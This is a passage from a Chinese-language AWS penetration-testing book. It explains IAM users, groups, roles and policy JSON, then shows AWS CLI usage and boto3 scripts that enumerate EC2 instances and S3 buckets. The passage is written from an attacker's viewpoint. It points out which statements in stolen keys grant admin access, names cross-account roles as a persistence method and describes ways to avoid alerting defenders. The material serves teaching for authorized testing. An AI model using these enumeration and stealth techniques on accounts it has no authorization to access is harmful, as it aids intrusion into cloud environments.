AWS 提供了许多不同的方法供用户通过 IAM 服务对其帐户进行身份验证,其中最常见的包括用户帐户和角色。IAM 用户提供了为需要长期访问环境的内容设置凭据的手段。用户可以通过使用用户名和密码进行 Web UI 身份验证来访问 AWS API,也可以通过使用 API 密钥(访问密钥 ID 和秘密访问密钥)来以编程方式发出请求。

另一方面,角色提供了将临时凭据委派给用户/服务/应用程序的手段。具有sts:AssumeRole权限的 IAM 用户可以假定角色以获取一组 API 密钥(访问密钥 ID、秘密访问密钥和会话令牌),这些密钥仅在短时间内有效。默认情况下,密钥的生命周期设置为在这些密钥到期之前的一小时。这些密钥将具有被分配给被假定角色的权限,并且通常用于完成某些任务。通过使用这种模型,环境中的 AWS 用户不会始终拥有他们可能需要使用的每个权限;相反,他们可以根据需要请求角色具有的权限。这允许更严格的审计和权限管理。

AWS IAM 还有一种称为的资源。组可用于将一组用户委派给一组权限。在 AWS 环境示例中,可能会有一个名为开发人员的组,该组提供公司开发人员需要访问的服务。然后,用户可以添加到该组,并且他们将继承与之关联的权限。只要他们是相关组的成员,用户将保留所提供的权限。单个用户最多可以成为 10 个不同组的成员,单个组最多可以容纳允许的用户总数。

IAM 用户、角色和组对我们的攻击过程和对 AWS 基础设施的基本理解至关重要。本章旨在提供有关 IAM 服务一些常见功能以及我们如何作为常规 AWS 用户和攻击者使用它们的见解。

在本章中,我们将使用 IAM 服务来涵盖以下主题:

  • 如何创建 IAM 用户、组、角色和相关权限

  • 如何限制特定角色可访问的 API 操作和资源

  • 使用 IAM 访问密钥

  • 签署 AWS API 请求

创建 IAM 用户、组、角色和相关权限

当您登录到 AWS Web 控制台时,可以通过导航到 IAM 服务页面来创建用户、组和角色:

  1. 要进入 IAM 页面,请单击页面左上角的“服务”按钮,然后搜索并单击 IAM 页面的相关链接:

在 AWS Web 控制台的服务下拉菜单中搜索 IAM 服务

  1. 以下图显示了 IAM 仪表板上用户、组和角色的相关链接。单击“用户”继续:

IAM 仪表板上的相关链接

  1. 要创建 IAM 用户,请单击页面左上角的“添加用户”按钮:

用户仪表板上的“添加用户”按钮

然后,您将看到一个页面,要求输入用户名和要为新用户提供的访问类型。您可以选择的两种访问类型之一是程序访问,它会为用户创建访问密钥 ID 和秘密访问密钥,以便他们可以通过 AWS CLI 或为各种编程语言提供的 SDK 访问 AWS API。另一种是 AWS 管理控制台访问,它将自动生成密码或允许您设置自定义密码,以便用户可以访问 AWS Web 控制台。

  1. 对于我们的示例,让我们创建一个名为Test的用户,允许访问 AWS API。填写完毕后,您可以点击“下一步:权限”继续:

图 4:创建一个名为 Test 的新用户,允许访问 AWS API

  1. 继续后,您将看到三个选项来设置这个新用户的权限。

如果您想创建一个没有任何权限的用户(例如,如果您打算稍后处理这些权限),您可以直接点击“下一步:审核”跳过此页面。

提供的三个选项允许您执行以下操作:

    • 将用户添加到 IAM 组
  • 复制另一个现有用户的权限

  • 直接将现有的 IAM 策略附加到用户

点击第三个选项,直接将现有策略附加到用户:

图 5:选择直接将现有策略附加到新用户的选项

这样做后,您将看到一个 IAM 策略列表。

  1. 在出现的搜索框中,输入AmazonEC2FullAccess并勾选出现的策略左侧的框。这个策略将为用户提供对 EC2 服务的完全访问权限,以及通常与 EC2 一起使用的其他服务。如果您有兴趣查看此策略的 JSON 文档,可以点击策略名称旁边的箭头,然后点击 JSON 按钮:

图 6:查看我们选择的 IAM 策略的 JSON 文档

IAM 策略是以 JSON 格式的文档,指定了允许或拒绝的权限、这些权限适用的资源以及这些权限对某个用户、组或角色有效的条件。

有两种 IAM 策略:AWS 管理的策略和客户管理的策略。AWS 管理的策略是 AWS 管理的预定义权限集。AWS 管理的策略可以通过策略名称旁边的小橙色 AWS 符号来识别。客户不允许修改这些 AWS 管理的策略,它们被提供作为设置权限时的便利方法:

图 7:选择了 AWS 管理策略 AmazonEC2FullAccess

客户管理的策略与 AWS 管理的策略相同,只是它们必须在任何时候创建,并且可以完全自定义。这些策略允许您将对各种 IAM 用户、组和角色的细粒度访问权限委托给您的帐户。

  1. 现在,我们可以点击窗口底部右侧的“下一步:审核”按钮继续。接下来的页面将是我们刚刚设置的摘要,所以我们可以继续点击窗口底部右侧的“创建用户”按钮。

  2. 接下来,您将看到一个绿色的成功消息,并有选择查看或下载与这个新用户相关的访问密钥 ID 和秘密访问密钥的选项:

图 8:创建新 IAM 用户后呈现的成功页面

这是这些凭证唯一可用的时间,因此重要的是将这些信息安全地存储在只有您可以访问的地方。

同样的一般过程也可以用来创建角色和组。

如果我们想创建一个组并将我们的新用户添加到其中,我们可以按照以下步骤进行:

  1. 在 AWS Web 控制台的 IAM 页面的“组”选项卡中导航,然后点击左上角的“创建新组”。

  2. 为这个组提供一个名称;在我们的示例中,它将是Developers

  3. 我们将被要求选择一个要附加到该组的 IAM 策略,我们将搜索并将 IAMReadOnlyAccess AWS 管理策略添加到我们的组中。

  4. 点击下一步,我们将看到一个我们想要创建的组的摘要,我们可以通过点击右下角的“创建组”来完成这个过程,如下面的屏幕截图所示:

图 9:创建名为 Developers 的新组,并附加 IAMReadOnlyAccess 策略

  1. 现在组已经创建,我们可以从 IAM 组页面点击它,然后会看到类似下面的屏幕截图,我们可以点击“添加用户到组”按钮来添加我们的新用户:

我们新创建的组目前还没有任何用户

  1. 然后我们可以搜索并勾选我们之前创建的Test用户旁边的复选框,然后点击“添加用户”按钮,如下面的屏幕截图所示,来完成这个过程:

选择并将我们的 Test 用户添加到我们的新 Developers 组中

  1. 现在,如果我们导航到我们Test用户的用户页面,我们可以看到我们之前附加的 AmazonEC2FullAccess AWS 托管策略附加到了我们的用户,以及另一个部分,来自组附加,其中包括我们的用户从Developers组继承的 IAMReadOnlyAccess AWS 托管策略:

直接附加到我们的用户的策略和从 Developers 组继承的策略

  1. 如果我们想知道我们的用户属于哪些组,以及我们的用户从这些组中继承了哪些策略,我们可以点击“组(1)”选项卡,它会给我们这些信息:

我们的用户所属的组以及我们从这些组中继承的策略

角色不能添加到组中,但 IAM 策略可以以与为用户和组相同的方式附加和移除。角色具有一个额外的重要特性,称为信任关系。信任关系指定谁可以假定(请求临时凭证)所讨论的角色,并在什么条件下可以发生。

我创建了一个角色,与 AWS EC2 服务创建了信任关系,这意味着 EC2 资源可以请求此角色的临时凭证。查看特定角色时,下面的屏幕截图显示了信任关系选项卡:

信任关系选项卡

在突出显示的部分,我们可以看到我们有一个受信任的实体,它是身份提供者 ec2.amazonaws.com。

信任关系在一个名为假定角色策略文档的 JSON 文档中指定。我们的示例角色有以下假定角色策略文档:

{
  "Version": "2012-10-17",
  "Statement": [
    {
     "Effect": "Allow",
      "Principal": {
        "Service": "ec2.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

策略及其支持的键将在下一节中更详细地描述,但基本上,这个 JSON 文档表示 EC2 服务(主体)被允许(效果)在针对此角色时运行sts:AssumeRole操作。主体还可以包括 IAM 用户、其他 AWS 服务或其他 AWS 账户。这意味着您可以假定跨账户角色,这是攻击者在账户中建立持久性的常见方式。这将在第十一章中进一步描述,使用 Boto3 和 Pacu 维持 AWS 持久性。我们现在将继续查看如何使用 IAM 策略限制 API 操作和可访问资源。

使用 IAM 策略限制 API 操作和可访问资源

IAM 策略是如何授予账户中的用户、角色和组权限的。它们是简单的 JSON 文档,指定了明确允许或拒绝的权限,这些权限可以/不能在哪些资源上使用,以及这些规则适用的条件。我们可以使用这些来在我们的 AWS 环境中执行细粒度的权限模型。

IAM 策略结构

以下的 JSON 文档是一个示例,用来描述 IAM 策略文档的一些关键特性:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "MyGeneralEC2Statement"
            "Effect": "Allow",
            "Action": "ec2:*",
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Action": [
                "iam:GetUser"
            ],
            "Resource": "arn:aws:iam::123456789012:user/TestUser"
        },
        {
            "Effect": "Allow",
            "Action": "sts:AssumeRole",
            "Resource": "*",
            "Condition": {
                "Bool": {
                    "aws:MultiFactorAuthPresent": "true"
                }
            }
        }
    ]
}

这个策略包含了 IAM 策略的一些最常见的特性。首先,我们有Version键,它指定了正在使用的策略语言的版本。最佳实践是使用最新版本,目前是2012-10-17,除此之外不需要考虑太多。

接下来,我们有Statement键,它是一个称为语句的 JSON 对象列表。语句是关于权限和与之相关的设置的单独声明。一个语句可以包括SidEffectActionNotActionPrincipalResourceCondition键。

Sid是一个可选字段,是您选择的字符串,用于帮助区分策略中不同的语句。它不需要被提供,但如果提供了,它基本上只是为了让读者更容易理解策略。在前面的策略中,MyGeneralEC2Statement Sid 旨在表明该语句是 EC2 服务的一般语句。

Effect键是一个必需的字段,可以设置为AllowDeny,它声明了列出的 AWS 权限(在ActionNotAction下)是显式允许还是显式拒绝的。在前面示例策略中的所有语句都明确允许相关权限。

ActionNotAction中的一个键是必需的,它包含一组 AWS 权限。几乎每次都会看到Action被使用而不是NotAction。在前面示例策略中的第一个语句明确允许了ec2:*操作,使用了 IAM 策略的通配符字符(*)。

权限以[AWS 服务]:[权限]的格式设置,因此ec2:*权限指定了与 AWS EC2 服务相关的每个权限(例如ec2:RunInstancesec2:CopyImage)。通配符字符可以在 IAM 策略的各个地方使用,比如在以下权限中:ec2:Describe*。这将代表以Describe开头的每个 EC2 权限(例如ec2:DescribeInstancesec2:DescribeImages)。NotAction稍微复杂一些,但基本上它们是Action的相反。这意味着NotAction ec2:Modify*将代表除了以Modify开头的所有 EC2 权限之外的所有 AWS 服务的每个 API 调用(例如ec2:ModifyVolumeec2:ModifyHosts)。

Principal键适用于不同类型的 IAM 策略,超出了我们到目前为止所看到的内容(例如在上一节中的假定角色策略文档)。它代表了该语句所适用的资源,但它在用户、角色和组的权限策略中是自动隐含的,所以我们现在将跳过它。

Resource键是一个必需的字段,是指定在Action/NotAction部分下指定的权限适用于哪些 AWS 资源的列表。这个值通常只被指定为通配符字符,代表任何 AWS 资源,但对于大多数 AWS 权限来说,最佳实践是将其锁定到必须使用的资源。在我们的示例策略中列出的第二个语句中,我们将资源列为arn:aws:iam::123456789012:user/TestUser,这是帐户中用户的 ARN,帐户 ID 为123456789012,用户名为TestUser。这意味着我们只允许(效果)对帐户中具有123456789012 ID 和TestUser用户名的用户执行iam:GetUser API 调用(操作)(资源)。请注意,尽管资源中列出了帐户 ID,但许多 API 调用不能用于属于不同 AWS 帐户的资源,即使通配符存在,而不是帐户 ID。

“条件”键是一个可选字段,指示规则说明适用的条件。在我们之前的示例的第三个语句中,我们有一个名为aws:MultiFactorAuthPresentBool条件(布尔值,即true/false)设置为 true。这意味着对于这个语句适用(允许在任何资源上使用sts:AssumeRole权限),用户/角色必须使用 AWS 进行多因素身份验证;否则,该权限是不允许的。还有许多其他可以指定的条件,比如要求任何 API 调用需要特定的源 IP 地址,要求 API 调用在特定时间范围内进行,以及许多其他条件(参见docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition_operators.html)。

IAM 策略的目的和用途

作为攻击者,了解 IAM 策略的工作原理很重要,因为一旦您能够阅读它们,您就可以确定对环境有什么样的访问权限,以及为什么您进行的某些 API 调用会因为访问被拒绝而失败,即使看起来它们应该被允许。可能是您正在攻击未在策略中指定的资源,您没有进行多因素身份验证,或者可能是其他各种原因。

当我们在攻击中检查受损密钥时,我们喜欢看到以下的语句:

{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
}

这个语句给了我们管理员级别的权限。因为它允许使用*权限,并且因为"*"字符是通配符,这意味着任何与 AWS 服务相关的权限都是允许的。资源也是通配符,所以我们可以对目标账户中的任何资源运行任何 API 调用。有一个具有这些权限的 AWS 托管 IAM 策略,称为AdministratorAccess策略。该策略的 ARN 是arn:aws:iam::aws:policy/AdministratorAccess

在测试时管理用户的权限,您可以将 IAM 策略附加到您的用户、角色或组,以提供或拒绝策略中设置的权限。到目前为止,我们已经看到的策略类型可以被重用并附加到多种不同类型的资源上。例如,同一个 IAM 策略可以同时附加到用户、组和/或角色上。

还存在内联策略,与托管策略不同,内联策略不是独立资源,而是直接创建在用户、角色或组上。内联策略不能像托管策略那样被重用,因此,安全最佳实践是尽量避免使用内联策略。作为攻击者,我们可以出于几种不同的恶意原因使用它们,但因为它们只适用于单个资源,所以在攻击中创建一个内联策略时更加隐蔽。它们的工作方式与托管策略相同,但需要一组不同的权限来进行交互。有时,您可能会发现受损的用户/角色可能具有使用内联策略但没有使用托管策略的权限,或者反之。

以下截图来自 AWS Web 控制台,显示了我设置的一个 IAM 用户,该用户既有一个托管策略(AmazonEC2FullAccess),又有一个内联策略(TestPolicy)附加:

AWS 托管策略和附加到 IAM 用户的内联策略

使用 IAM 访问密钥

现在我们已经创建了一个用户和访问密钥,并了解了 IAM 策略的工作原理,是时候让它们发挥作用,进行一些 AWS API 调用了:

  1. 首先,让我们安装 AWS 命令行界面CLI)。最简单的方法(如果您的计算机上已安装 Python 和pip)是运行以下pip命令:
pip install awscli --upgrade --user
  1. 然后,您可以通过运行以下命令来检查安装是否成功:
aws --version

有关您操作系统的更具体说明,请访问:docs.aws.amazon.com/cli/latest/userguide/installing.html

  1. 要将用户凭据添加到 AWS CLI 中,以便我们可以进行 API 调用,我们可以运行以下命令,将我们的凭据存储在Test配置文件下(请注意,配置文件允许您从命令行管理多组不同的凭据):
aws configure --profile Test
  1. 您将被提示输入一些不同的值,包括您的访问密钥 ID 和秘密密钥,这是我们在之前创建我们的Test用户后呈现的。然后,您将被要求输入默认区域名称,在我们的示例中,我们将选择us-west-2(俄勒冈)区域。最后,您将被要求输入默认输出格式。我们将选择json作为我们的默认格式,但还有其他可用的值,如table。以下截图显示了我们在新安装的 AWS CLI 中为Test配置文件设置凭据:

使用我们新创建的凭据创建 Test 配置文件

我们的新配置文件现在将存储在 AWS CLI 凭据文件中,该文件位于以下文件中:~/.aws/credentials

  1. 更新该配置文件的凭据/设置,您可以再次运行相同的命令,并在您获取新的凭据时,只需将配置文件的名称从Test更改为适合您添加的密钥的名称。现在我们已经安装了 AWS CLI 并设置了我们的Test配置文件,开始使用我们的凭据非常简单。需要记住的一件事是,因为我们使用 AWS CLI 配置文件,您需要记住在所有 AWS CLI 命令中包含--profile Test参数,以便使用正确的凭据进行 API 调用。

  2. 一个非常有用的命令是由安全令牌服务STS)提供的GetCallerIdentity API(docs.aws.amazon.com/STS/latest/APIReference/API_GetCallerIdentity.html)。这个 API 调用提供给每个 AWS 用户和角色,不能通过 IAM 策略拒绝。这允许我们使用此 API 来枚举有关我们密钥的一些常见账户信息的方法。继续运行以下命令:

aws sts get-caller-identity --profile Test

您应该看到以下截图的输出:

从我们的 Test 配置文件运行 sts:GetCallerIdentity 命令

输出包括当前用户的用户 ID、账户 ID 和 ARN。用户 ID 是您在 API 后端引用用户的方式,通常在我们进行 API 调用时不需要。账户 ID 是此用户所属账户的 ID。

在您有账户 ID 的情况下,有方法可以枚举账户中存在的用户和角色,而不会在目标账户中创建日志,但这种攻击通常在后期利用场景中并不是非常有用,更有助于社会工程。当前用户的Amazon 资源名称ARN)包括账户 ID 和用户名。

我们使用 AWS CLI 进行的所有其他 API 调用都将以类似的方式运行,并且大多数 AWS 服务都受到 AWS CLI 的支持。列出您可以定位和引用的服务以及如何引用它们的一个小技巧是运行以下命令:

aws a

基本上,这个命令尝试定位a服务,但因为那不是一个真实的服务,AWS CLI 将打印出所有可用的服务,如下截图所示:

运行 AWS CLI 命令针对无效服务列出可用服务

这个技巧也可以用来列出每个服务的可用 API。假设我们知道我们想要针对 EC2 服务,但我们不知道我们想要运行的命令的名称。我们可以运行以下命令:

aws ec2 a

这将尝试运行a EC2 API 调用,但这个调用不存在,所以 AWS CLI 将打印出您可以选择的所有有效 API 调用,就像您在以下截图中看到的那样:

运行无效的 AWS CLI 命令以列出我们目标服务(EC2)支持的命令

有关 AWS 服务或 API 调用的更多信息,例如描述,限制和支持的参数,我们可以使用help命令。对于 AWS 服务,您可以使用以下命令:

aws ec2 help

对于特定的 API 调用,您可以使用以下命令:

aws ec2 describe-instances help

为了完成本节,让我们使用之前附加到我们用户的 AmazonEC2FullAccess 策略:

  1. 如果我们想要列出默认区域(我们之前选择了us-west-2)中的所有实例,我们可以运行以下命令:
aws ec2 describe-instances --profile Test

如果您的帐户中没有运行任何 EC2 实例,您可能会看到类似以下截图中显示的输出:

尝试描述目标区域没有任何 EC2 实例的结果

  1. 如果没有指定区域,那么将自动针对us-west-2区域进行目标,因为我们在设置凭据时将其作为默认输入。这可以通过使用--region参数手动每个 API 调用来完成,就像以下命令中那样:
aws ec2 describe-instances --region us-east-1 --profile Test

我们的测试帐户在us-east-1中运行了一个 EC2 实例,所以这次输出将会有所不同。它将看起来像以下截图:

us-east-1区域描述 EC2 实例时返回的部分输出

数据将以 JSON 格式返回,因为这是我们在设置凭据时指定的默认格式。它将包括许多与在区域和目标帐户中找到的 EC2 实例相关的信息,例如实例 ID,实例大小,用于启动实例的映像,网络信息等等。

这些信息的各个部分可以被收集和在后续请求中重复使用。其中一个例子是注意到每个实例附加了哪些 EC2 安全组。您将获得安全组的名称和 ID,然后可以在尝试描述应用于这些组的防火墙规则的请求中使用它们。

  1. 在我们的ec2:DescribeInstances调用结果中,我们可以看到sg-0fc793688cb3d6050安全组附加到我们的实例。我们可以通过将该 ID 输入ec2:DescribeSecurityGroups API 调用来获取有关此安全组的信息,就像以下命令中那样:
aws ec2 describe-security-groups --group-ids sg-0fc793688cb3d6050 --region us-east-1 --profile Test

现在,我们展示了应用于我们之前描述的实例的入站和出站防火墙规则。以下截图显示了命令和一些应用于我们实例的入站流量规则:

命令和一些入站流量规则

我们可以看到,在IpPermissions键下,允许从任何 IP 地址(0.0.0.0/0)对端口 22 的入站访问。在截图中未显示的是IpPermissionsEgress键,该键指定了从 EC2 实例发出的出站流量的规则。

手动签署 AWS API 请求

大多数 AWS API 调用在发送到 AWS 服务器之前都需要对其中的某些数据进行签名。这是出于几个不同的原因,比如允许服务器验证 API 调用者的身份,保护数据在传输到 AWS 服务器时免受修改,并防止重放攻击,即攻击者拦截您的请求并自行运行它。默认情况下,签名请求有效期为五分钟,因此在这五分钟窗口关闭之前,如果请求被拦截并重新发送,重放攻击是可能的。AWS CLI 和 AWS SDK(例如boto3 Python 库)会自动处理所有请求签名,因此您无需考虑这些问题。

然而,有一些情况下您可能需要手动签署 API 请求,因此本节将简要概述如何进行操作。您需要这样做的唯一真正情况是,如果您使用的编程语言没有 AWS SDK,或者您希望完全控制发送到 AWS 服务器的请求。支持两个版本的签名(v2 和 v4),但对于我们的用例,我们几乎总是使用 v4。

有关签署请求和具体信息,请访问 AWS 文档的以下链接:docs.aws.amazon.com/general/latest/gr/signing_aws_api_requests.html

基本上,使用签名 v4 手动签署 AWS API 请求的过程包括四个独立的步骤:

  1. 创建规范请求

  2. 创建要签名的字符串

  3. 计算该字符串的签名

  4. 将该签名添加到您的 HTTP 请求

AWS 文档中有一些很好的示例,说明如何进行这个过程。

以下链接包含示例 Python 代码,展示了整个过程并解释了每个步骤:docs.aws.amazon.com/general/latest/gr/sigv4-signed-request-examples.html

总结

在本章中,我们介绍了 IAM 服务的一些基础知识,如 IAM 用户、角色和组。我们还研究了如何使用 IAM 策略来限制环境中的权限,以及 IAM 用户访问密钥和 AWS CLI。此外,还介绍了手动签署 AWS HTTP 请求的信息,以备您偶尔需要时使用。

这些基础主题将在本书中不断出现,因此重要的是要对 AWS IAM 服务有一个牢固的掌握。本章中我们没有涵盖 IAM 服务的更多功能、复杂性和细节,但其中一些更重要的内容将在本书的其他章节中单独讨论。本章内容的主要目的是为您在以后深入学习 AWS 的更高级主题和服务时提供知识基础。

在下一章中,我们将研究如何使用 AWS 的boto3 Python 库和窃取的访问密钥来枚举我们自己的权限,以及将它们提升到管理员级别!我们还将介绍 Pacu,这是一个 AWS 利用工具包,它已经自动化了许多这些攻击过程,并使您更容易自动化它们。权限枚举和特权提升对于 AWS 渗透测试至关重要,所以做好准备!

第十章:使用窃取的密钥、Boto3 和 Pacu 提升 AWS 账户的特权

AWS 环境渗透测试的一个重要方面是枚举用户的权限,并在可能的情况下提升这些特权。知道你可以访问什么是第一场战斗,它将允许你在环境中制定攻击计划。接下来是特权升级,如果你可以进一步访问环境,你可以执行更具破坏性的攻击。在本章中,我们将深入研究 Python 的boto3库,学习如何以编程方式进行 AWS API 调用,学习如何使用它来自动枚举我们的权限,最后学习如何使用它来提升我们的权限,如果我们的用户容易受到提升攻击。

枚举我们的权限对于多种原因非常重要。其中之一是我们将避免需要猜测我们的权限是什么,从而在过程中防止许多访问被拒绝的错误。另一个是它可能披露有关环境其他部分的信息,比如如果特定资源在我们的身份和访问管理IAM)策略中被标记,那么我们就知道该资源正在使用,并且在某种程度上很重要。此外,我们可以将我们的权限列表与已知的特权升级方法列表进行比较,以查看是否可以授予自己更多访问权限。我们可以获得对环境的更多访问权限,攻击的影响就越大,如果我们是真正的恶意攻击者而不是渗透测试人员,我们的攻击就会更加危险。

在本章中,我们将涵盖以下主题:

  • 使用boto3库进行侦察

  • 转储所有账户信息

  • 使用受损的 AWS 密钥进行权限枚举

  • 特权升级和使用 Pacu 收集凭据

权限枚举的重要性

无论如何,无论您是否可以提升权限,拥有确切的权限列表都非常重要。这可以节省您在攻击环境时的大量时间,因为您不需要花时间尝试猜测您可能拥有的访问权限,而是可以进行离线手动分析,以留下更小的日志记录。通过了解您拥有的访问权限,您可以避免运行测试命令以确定您是否具有特权的需要。这是有益的,因为 API 错误,特别是访问被拒绝的错误,可能会非常嘈杂,并且很可能会警告防御者您的活动。

在许多情况下,您可能会发现您的用户没有足够的权限来枚举他们的全部权限。在这些情况下,通常建议根据您已经拥有的信息做出假设,比如密钥是从哪里检索到的。也许你从一个上传文件到S3的 Web 应用程序中获得了这些受损的密钥。可以安全地假设这些密钥有权限上传文件到S3,并且它们也可能具有读取/列出权限。这组密钥很可能无法访问 IAM 服务,因此进行 IAM API 调用可能会相当嘈杂,因为它很可能会返回访问被拒绝的错误。但这并不意味着你永远不应该尝试这些权限,因为有时这是你唯一的选择,你可能需要在账户中制造一些噪音,以找出接下来的步骤。

使用 boto3 库进行侦察

Boto3 是 Python 的 AWS 软件开发工具包(SDK),可以在这里找到:boto3.amazonaws.com/v1/documentation/api/latest/index.html。它提供了与 AWS API 交互的接口,意味着我们可以以编程方式自动化和控制我们在 AWS 中所做的事情。它由 AWS 管理,因此会不断更新最新的 AWS 功能和服务。它还用于 AWS 命令行界面(CLI)的后端,因此与其在代码中运行 AWS CLI 命令相比,与这个库进行交互更有意义。

因为我们将使用 Python 来编写我们的脚本,boto3是与 AWS API 进行交互的完美选择。这样,我们就可以自动化我们的侦察/信息收集阶段,很多额外的工作已经被处理了(比如对 AWS API 的 HTTP 请求进行签名)。我们将使用 AWS API 来收集有关目标账户的信息,从而确定我们对环境的访问级别,并帮助我们精确制定攻击计划。

本节将假定您已经安装了 Python 3 以及pip包管理器。

安装boto3就像运行一个pip install命令一样简单:

 pip3 install boto3 

现在boto3及其依赖项应该已经安装在您的计算机上。如果pip3命令对您不起作用,您可能需要通过 Python 命令直接调用pip,如下所示:

 python3 -m pip install boto3 

我们的第一个 Boto3 枚举脚本

一旦安装了boto3,它只需要被导入到您的 Python 脚本中。在本章中,我们将从以下声明自己为python3的 Python 脚本开始,然后导入boto3

#!/usr/bin/env python3

import boto3

我们可以通过几种不同的方式来设置boto3的凭据,但我们将坚持只使用一种方法,那就是通过创建一个boto3session来进行 API 调用(boto3.amazonaws.com/v1/documentation/api/latest/reference/core/session.html)。

在上一章中,我们创建了 IAM 用户并将他们的密钥保存到了 AWS CLI 中,所以现在我们可以使用boto3来检索这些凭据并在我们的脚本中使用它们。我们将首先通过以下代码实例化一个boto3session,用于us-west-2地区:

session = boto3.session.Session(profile_name='Test', region_name='us-west-2') 

这段代码创建了一个新的boto3 session,并将在计算机上搜索名为Test的 AWS CLI 配置文件,这是我们已经设置好的。通过使用这种方法来处理我们脚本中的凭据,我们不需要直接在代码中包含硬编码的凭据。

现在我们已经创建了我们的 session,我们可以使用该 session 来创建boto3客户端,然后用于对 AWS 进行 API 调用。客户端在创建时接受多个参数来管理不同的配置值,但一般来说,我们只需要担心一个参数,那就是service_name参数。它是一个位置参数,将始终是我们传递给客户端的第一个参数。以下代码设置了一个新的boto3客户端,使用我们的凭据,目标是 EC2 AWS 服务:

   client = session.client('ec2')  

现在我们可以使用这个新创建的客户端来对 EC2 服务进行 AWS API 调用。

有关可用方法的列表,您可以访问boto3文档中的 EC2 参考页面:boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#client

有许多方法可供选择,但为了信息枚举的目的,我们将从describe_instances方法开始,就像我们之前展示的那样(即在第九章的在 AWS 上使用 IAM 访问密钥部分中所示),使用 AWS CLI,将枚举目标区域中的 EC2 实例。我们可以运行此 API 调用并使用以下代码行检索结果:

   response = client.describe_instances() 

describe_instances方法接受一些可选参数,但对于我们进行的第一个调用,我们还不需要。这个方法的文档告诉我们,它支持分页。根据您要定位的账户中的 EC2 实例数量,您可能无法在第一次 API 调用中收到所有结果。我们可以通过创建一个单独的变量来存储所有枚举的实例,并检查结果是否完整来解决这个问题。

我们添加的上一行代码(response = client.describe_instances())需要稍微重新排列一下,以便最终如下所示:

# First, create an empty list for the enumerated instances to be stored in
instances = []

# Next, make our initial API call with MaxResults set to 1000, which is the max
# This will ensure we are making as few API calls as possible
response = client.describe_instances(MaxResults=1000)

# The top level of the results will be "Reservations" so iterate through those
for reservation in response['Reservations']:
    # Check if any instances are in this reservation
    if reservation.get('Instances'):
        # Merge the list of instances into the list we created earlier
        instances.extend(reservation['Instances'])

# response['NextToken'] will be a valid value if we don't have all the results yet
# It will be "None" if we have completed enumeration of the instances
# So we need check if it has a valid value, and because this could happen again, we will need to make it a loop

# As long as NextToken has a valid value, do the following, otherwise skip it
while response.get('NextToken'):
    # Run the API call again while supplying the previous calls NextToken
    # This will get us the next page of 1000 results
    response = client.describe_instances(MaxResults=1000, NextToken=response['NextToken'])

    # Iterate the reservations and add any instances found to our variable again
    for reservation in response['Reservations']:
        if reservation.get('Instances'):
            instances.extend(reservation['Instances'])

现在我们可以确保即使在具有数千个 EC2 实例的大型环境中,我们也有完整的实例列表。

保存数据

现在我们有了 EC2 实例列表,但我们应该怎么处理呢?一个简单的解决方案是将数据输出到本地文件中,以便以后可以引用。我们可以通过导入json Python 库并将instances的内容转储到与我们的脚本相同的目录中的文件中来实现这一点。让我们将以下代码添加到我们的脚本中:

# Import the json library
import json

# Open up the local file we are going to store our data in
with open('./ec2-instances.json', 'w+') as f:
    # Use the json library to dump the contents to the newly opened file with some indentation to make it easier to read. Default=str to convert dates to strings prior to dumping, so there are no errors
    json.dump(instances, f, indent=4, default=str)

现在完整的脚本(不包括注释)应该如下所示:

#!/usr/bin/env python3

import boto3
import json

session = boto3.session.Session(profile_name='Test', region_name='us-west-2')
client = session.client('ec2')

instances = []

response = client.describe_instances(MaxResults=1000)

for reservation in response['Reservations']:
    if reservation.get('Instances'):
        instances.extend(reservation['Instances'])

while response.get('NextToken'):
    response = client.describe_instances(MaxResults=1000, NextToken=response['NextToken'])

    for reservation in response['Reservations']:
        if reservation.get('Instances'):
            instances.extend(reservation['Instances'])

with open('./ec2-instances.json', 'w+') as f:
    json.dump(instances, f, indent=4, default=str)

现在我们可以使用以下命令运行此脚本:

python3 our_script.py 

在当前目录中应该创建一个名为ec2-instances.json的新文件,当您打开它时,您应该看到类似以下截图的内容,其中列出了us-west-2区域中所有 EC2 实例的 JSON 表示。这些 JSON 数据包含有关 EC2 实例的基本信息,包括标识信息、网络信息和适用于 EC2 实例的其他配置。但是,这些细节目前并不重要:

这个文件现在应该包含我们之前在代码中指定的区域中所有实例的枚举信息。

添加一些 S3 枚举

现在假设我们想要枚举账户中存在的S3存储桶以及这些存储桶中的文件。目前,我们的测试 IAM 用户没有S3权限,因此我已经直接将 AWS 托管策略AmazonS3ReadOnlyAccess附加到我们的用户上。如果您需要为自己的用户执行此操作,请参考第九章的在 AWS 上使用身份访问管理

我们将在已经创建的现有脚本的底部添加以下代码。首先,我们将想要弄清楚账户中有哪些S3存储桶,因此我们需要设置一个新的boto3客户端来定位S3

client = session.client('s3') 

然后,我们将使用list_buckets方法来检索账户中S3存储桶的列表。请注意,与ec2:DescribeInstances API 调用不同,s3:ListBuckets API 调用不是分页的,您可以期望在单个响应中看到账户中的所有存储桶:

response = client.list_buckets() 

返回的数据中包含一些我们目前不感兴趣的信息(例如存储桶创建日期),因此我们将遍历响应并仅提取存储桶的名称:

bucket_names = []
  for bucket in response['Buckets']:
       bucket_names.append(bucket['Name'])

现在我们已经知道账户中所有存储桶的名称,我们可以继续使用list_objects_v2API 调用列出每个存储桶中的文件。list_objects_v2API 调用是一个分页操作,因此可能不是每个对象都会在第一个 API 调用中返回给我们,因此我们将在脚本中考虑到这一点。我们将添加以下代码到我们的脚本中:

# Create a dictionary to hold the lists of object (file) names
bucket_objects = {}

# Loop through each bucket we found
for bucket in bucket_names:
    # Run our first API call to pull in the objects
    response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000)

    # Check if there are any objects returned (none will return if no objects are in the bucket)
    if response.get('Contents'):
        # Store the fetched set of objects
        bucket_objects[bucket] = response['Contents']
    else:
        # Set this bucket to an empty object and move to the next bucket
        bucket_objects[bucket] = []
        continue

    # Check if we got all the results or not, loop until we have everything if so
    while response['IsTruncated']:
        response = client.list_objects_v2(Bucket=bucket, MaxKeys=1000, ContinuationToken=response['NextContinuationToken'])

        # Store the newly fetched set of objects
        bucket_objects[bucket].extend(response['Contents'])

当循环完成时,我们应该得到bucket_objects是一个字典,其中每个键是账户中的存储桶名称,它包含存储在其中的对象列表。

